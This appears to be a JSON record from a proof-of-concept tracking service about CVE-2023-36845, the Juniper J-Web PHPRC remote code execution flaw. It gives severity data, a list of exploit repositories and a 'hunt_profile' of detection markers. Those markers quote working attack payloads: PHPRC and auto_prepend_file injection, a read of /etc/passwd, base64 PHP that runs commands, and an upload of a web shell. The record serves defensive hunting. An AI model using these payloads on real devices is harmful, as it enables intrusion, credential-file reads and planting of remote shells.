{
  "id": "CVE-2023-36845",
  "url": "https://poc.griffinguard.io/cve/CVE-2023-36845",
  "published_at": "2023-08-17T19:17:57.183Z",
  "title": "Junos OS: EX and SRX Series: A PHP vulnerability in J-Web allows an unauthenticated to control an important environment variable",
  "vendor": "Juniper Networks",
  "product": "Junos OS",
  "cvss": {
    "score": 9.8,
    "source": "cna",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  },
  "kev": {
    "in_kev": true,
    "added_at": "2023-11-13",
    "known_ransomware_campaign_use": "Unknown",
    "days_after_publication": 88
  },
  "first_poc": {
    "created_at": "2023-09-16T09:11:21Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": 29.6,
    "repo": "vulncheck-oss/cve-2023-36845-scanner",
    "source": "github"
  },
  "poc_repo_count": 17,
  "exploit_count": 2,
  "suspicious_repo_count": 0,
  "edge_device": {
    "category": "Router / network device",
    "confidence": "high",
    "reason": "known edge product: Juniper Networks Junos OS Junos OS: EX and"
  },
  "description": "A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series \n\nand SRX Series \n\nallows an unauthenticated, network-based attacker to remotely execute code.\n\nUsing a crafted request which sets the variable PHPRC an attacker is able to modify the PHP execution environment allowing the injection und execution of code.\n\n\nThis issue affects Juniper Networks Junos OS on EX Series\n\n\nand \n\n\nSRX Series:\n\n\n\n  *  All versions prior to \n\n20.4R3-S9;\n  *  21.1 versions 21.1R1 and later;\n  *  21.2 versions prior to 21.2R3-S7;\n  *  21.3 versions prior to 21.3R3-S5;\n  *  21.4 versions prior to 21.4R3-S5;\n  *  22.1 versions \n\nprior to \n\n22.1R3-S4;\n  *  22.2 versions \n\nprior to \n\n22.2R3-S2;\n  *  22.3 versions \n\nprior to \n\n22.3R2-S2, 22.3R3-S1;\n  *  22.4 versions \n\nprior to \n\n22.4R2-S1, 22.4R3;\n  *  23.2 versions prior to 23.2R1-S1, 23.2R2.",
  "cwe": "CWE-473",
  "cvss_by_source": {
    "cna": 9.8
  },
  "repos": [
    {
      "repo": "WhiteOwl-Pub/PoC-Vuln-Detector-juniper-cve-2023-36845",
      "url": "https://github.com/WhiteOwl-Pub/PoC-Vuln-Detector-juniper-cve-2023-36845",
      "created_at": null,
      "first_seen_at": "2026-11-14T21:59:14.787Z",
      "stars": 0,
      "is_poc": "unknown",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "skipped"
    },
    {
      "repo": "ditekshen/ansible-cve-2023-36845",
      "url": "https://github.com/ditekshen/ansible-cve-2023-36845",
      "created_at": null,
      "first_seen_at": "2026-11-14T21:59:14.787Z",
      "stars": 0,
      "is_poc": "unknown",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "skipped"
    },
    {
      "repo": "functionofpwnosec/CVE-2023-36845",
      "url": "https://github.com/functionofpwnosec/CVE-2023-36845",
      "created_at": null,
      "first_seen_at": "2026-11-14T21:59:14.787Z",
      "stars": 0,
      "is_poc": "unknown",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "skipped"
    },
    {
      "repo": "imhunterand/CVE-2023-36845",
      "url": "https://github.com/imhunterand/CVE-2023-36845",
      "created_at": null,
      "first_seen_at": "2026-11-14T21:59:14.787Z",
      "stars": 0,
      "is_poc": "unknown",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "skipped"
    },
    {
      "repo": "toanln-cov/CVE-2023-36845",
      "url": "https://github.com/toanln-cov/CVE-2023-36845",
      "created_at": null,
      "first_seen_at": "2026-11-14T21:59:14.787Z",
      "stars": 0,
      "is_poc": "unknown",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "skipped"
    },
    {
      "repo": "vulncheck-oss/cve-2023-36845-scanner",
      "url": "https://github.com/vulncheck-oss/cve-2023-36845-scanner",
      "created_at": "2023-09-16T09:11:21Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 63,
      "is_poc": "yes",
      "kind": "scanner",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2023-05-22T16:04:21Z"
    },
    {
      "repo": "r3dcl1ff/CVE-2023-36844_Juniper_RCE",
      "url": "https://github.com/r3dcl1ff/CVE-2023-36844_Juniper_RCE",
      "created_at": "2023-09-24T13:30:09Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 5,
      "is_poc": "no",
      "kind": "unrelated",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2021-04-04T07:44:28Z"
    },
    {
      "repo": "kljunowsky/CVE-2023-36845",
      "url": "https://github.com/kljunowsky/CVE-2023-36845",
      "created_at": "2023-09-26T17:56:55Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 55,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2022-04-24T23:17:34Z"
    },
    {
      "repo": "halencarjunior/CVE-2023-36845",
      "url": "https://github.com/halencarjunior/CVE-2023-36845",
      "created_at": "2023-09-27T23:56:07Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2010-09-16T18:09:55Z"
    },
    {
      "repo": "zaenhaxor/CVE-2023-36845",
      "url": "https://github.com/zaenhaxor/CVE-2023-36845",
      "created_at": "2023-09-29T03:11:37Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 4,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2021-05-03T11:17:28Z"
    },
    {
      "repo": "simrotion13/CVE-2023-36845",
      "url": "https://github.com/simrotion13/CVE-2023-36845",
      "created_at": "2023-10-01T03:41:40Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "listed by PoC Index",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2017-06-24T09:46:24Z"
    },
    {
      "repo": "cyberh3als/CVE-2023-36845-POC",
      "url": "https://github.com/cyberh3als/CVE-2023-36845-POC",
      "created_at": "2023-10-02T06:28:07Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 4,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2023-05-09T07:28:18Z"
    },
    {
      "repo": "P4x1s/ansible-cve-2023-36845",
      "url": "https://github.com/P4x1s/ansible-cve-2023-36845",
      "created_at": "2023-11-15T10:02:22Z",
      "first_seen_at": "2026-11-18T16:05:56.708Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "scanner",
      "suspicion_score": 15,
      "suspicious": false,
      "suspicion_reasons": [
        "no network code found (normal for a local exploit)"
      ],
      "status": "analyzed",
      "owner_created_at": "2014-04-24T00:43:51Z"
    },
    {
      "repo": "Asbawy/Automation-for-Juniper-cve-2023-36845",
      "url": "https://github.com/Asbawy/Automation-for-Juniper-cve-2023-36845",
      "created_at": "2024-01-29T18:53:22Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 19,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2017-01-06T14:10:00Z"
    },
    {
      "repo": "jahithoque/Juniper-CVE-2023-36845-Mass-Hunting",
      "url": "https://github.com/jahithoque/Juniper-CVE-2023-36845-Mass-Hunting",
      "created_at": "2024-01-30T08:00:23Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2020-02-13T10:46:24Z"
    },
    {
      "repo": "cyb3rzest/Juniper-Bug-Automation-CVE-2023-36845",
      "url": "https://github.com/cyb3rzest/Juniper-Bug-Automation-CVE-2023-36845",
      "created_at": "2024-02-01T03:54:18Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2017-07-02T05:23:55Z"
    },
    {
      "repo": "CharonDefalt/Juniper-exploit-CVE-2023-36845",
      "url": "https://github.com/CharonDefalt/Juniper-exploit-CVE-2023-36845",
      "created_at": "2024-02-03T06:09:30Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2022-04-11T07:17:31Z"
    },
    {
      "repo": "iveresk/CVE-2023-36845-6-",
      "url": "https://github.com/iveresk/CVE-2023-36845-6-",
      "created_at": "2024-02-13T14:59:59Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2017-05-17T10:48:58Z"
    },
    {
      "repo": "ak1t4/CVE-2023-36845",
      "url": "https://github.com/ak1t4/CVE-2023-36845",
      "created_at": "2024-02-13T20:59:34Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 5,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2015-02-11T00:51:05Z"
    },
    {
      "repo": "0xNehru/CVE-2023-36845-Juniper-Vulnerability",
      "url": "https://github.com/0xNehru/CVE-2023-36845-Juniper-Vulnerability",
      "created_at": "2024-02-14T12:47:21Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 30,
      "suspicious": false,
      "suspicion_reasons": [
        "owner account created less than 7 days before the repo"
      ],
      "status": "analyzed",
      "owner_created_at": "2024-02-14T12:24:40Z"
    },
    {
      "repo": "ifconfig-me/CVE-2023-36845",
      "url": "https://github.com/ifconfig-me/CVE-2023-36845",
      "created_at": "2024-02-17T08:15:30Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2017-01-24T05:36:54Z"
    },
    {
      "repo": "e11i0t4lders0n/CVE-2023-36845",
      "url": "https://github.com/e11i0t4lders0n/CVE-2023-36845",
      "created_at": "2024-02-18T15:37:58Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2020-12-20T09:58:39Z"
    },
    {
      "repo": "kopfjager007/CVE-2023-36845",
      "url": "https://github.com/kopfjager007/CVE-2023-36845",
      "created_at": "2025-11-24T13:17:18Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2021-02-24T17:40:03Z"
    },
    {
      "repo": "cxb2523/ccfb-pointwise-20261109-010-cve-2023-36845-scanner",
      "url": "https://github.com/cxb2523/ccfb-pointwise-20261109-010-cve-2023-36845-scanner",
      "created_at": "2026-11-09T10:08:32Z",
      "first_seen_at": "2026-11-14T14:50:35.824Z",
      "stars": 0,
      "is_poc": "unknown",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "discovered",
      "owner_created_at": "2025-06-21T11:57:16Z"
    },
    {
      "repo": "cxb2523/ccfb-pointwise-20261111-claude-uid831-867-017-cve-2023-36845-scanner",
      "url": "https://github.com/cxb2523/ccfb-pointwise-20261111-claude-uid831-867-017-cve-2023-36845-scanner",
      "created_at": "2026-11-11T05:53:31Z",
      "first_seen_at": "2026-11-14T14:50:35.824Z",
      "stars": 0,
      "is_poc": "unknown",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "discovered",
      "owner_created_at": "2025-06-21T11:57:16Z"
    }
  ],
  "remediation": null,
  "exploit_refs": [
    {
      "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/freebsd/http/junos_phprc_auto_prepend_file.rb",
      "source": "metasploit",
      "title": "Metasploit exploit: Junos OS PHPRC Environment Variable Manipulation RCE (exploit/freebsd/http/junos_phprc_auto_prepend_file)",
      "published_at": null,
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    },
    {
      "url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-36845.yaml",
      "source": "nuclei",
      "title": "nuclei template: Juniper J-Web - Remote Code Execution",
      "published_at": null,
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    }
  ],
  "hunt_profile": [
    {
      "method": "POST",
      "path_template": "/",
      "query_markers": [
        "PHPRC=/dev/fd/0"
      ],
      "body_markers": [
        "name=\"auto_prepend_file\"",
        "name=\"PHPRC\"",
        "$allow_url_include=1\\nauto_prepend_file=\"data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg==\"",
        "$allow_url_include=1\\nauto_prepend_file=\"data://text/plain;base64,PD9waHAgc2hlbGxfZXhlYygnd2hvYW1pJyk7ID8 Cg==\"",
        "auto_prepend_file=\"/etc/passwd\"",
        "auto_prepend_file=\"/etc/passwd\")"
      ],
      "content_type": "multipart/form-data",
      "protocol": "http",
      "repos": [
        "0xNehru/CVE-2023-36845-Juniper-Vulnerability",
        "CharonDefalt/Juniper-exploit-CVE-2023-36845",
        "cyberh3als/CVE-2023-36845-POC",
        "kljunowsky/CVE-2023-36845",
        "simrotion13/CVE-2023-36845",
        "zaenhaxor/CVE-2023-36845"
      ],
      "repo_count": 6,
      "confidence": 0.7,
      "evidence": [
        "0xNehru/CVE-2023-36845-Juniper-Vulnerability/CVE-2023–36845.py:12",
        "CharonDefalt/Juniper-exploit-CVE-2023-36845/README.md:35",
        "CharonDefalt/Juniper-exploit-CVE-2023-36845/README.md:41",
        "cyberh3als/CVE-2023-36845-POC/CVE-2023-36845-POC.py:12",
        "kljunowsky/CVE-2023-36845/README.md:35",
        "kljunowsky/CVE-2023-36845/README.md:41",
        "simrotion13/CVE-2023-36845/README.md:5",
        "zaenhaxor/CVE-2023-36845/cve.sh:25"
      ]
    },
    {
      "method": "POST",
      "path_template": "/webauth_operation.php",
      "body_markers": [
        "rs=do_upload",
        "rsargs[]=[{\"fileName\": \"shell.php\", \"fileData\": \",PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUW2NtZF0pKXsgZWNobyAiPHByZT4iOyAkY21kID0gKCRfUkVRVUVTVFtjbWRdKTsgc3lzdGVtKCRjbWQpOyBlY2hvICI8L3ByZT4iOyBkaWU7IH0/Pgo="
      ],
      "content_type": "application/x-www-form-urlencoded",
      "protocol": "http",
      "repos": [
        "CharonDefalt/Juniper-exploit-CVE-2023-36845",
        "kljunowsky/CVE-2023-36845"
      ],
      "repo_count": 2,
      "confidence": 0.7,
      "evidence": [
        "CharonDefalt/Juniper-exploit-CVE-2023-36845/README.md:50",
        "kljunowsky/CVE-2023-36845/README.md:50"
      ]
    },
    {
      "method": "GET",
      "path_template": "/",
      "query_markers": [
        "PHPRC=/dev/fd/0"
      ],
      "protocol": "https",
      "repos": [
        "halencarjunior/CVE-2023-36845"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "halencarjunior/CVE-2023-36845/juniperscan.py:86",
        "halencarjunior/CVE-2023-36845/juniperscan.py:126"
      ]
    },
    {
      "method": "POST",
      "path_template": "/about.php",
      "query_markers": [
        "PHPRC=/dev/fd/0"
      ],
      "body_markers": [
        "auto_prepend_file=\"/etc/passwd\""
      ],
      "content_type": "application/x-www-form-urlencoded",
      "protocol": "https",
      "repos": [
        "iveresk/CVE-2023-36845-6-"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "iveresk/CVE-2023-36845-6-/cve-2023-36845-6.sh:28",
        "iveresk/CVE-2023-36845-6-/cve-2023-36845-6.sh:32"
      ]
    }
  ],
  "rules": []
}
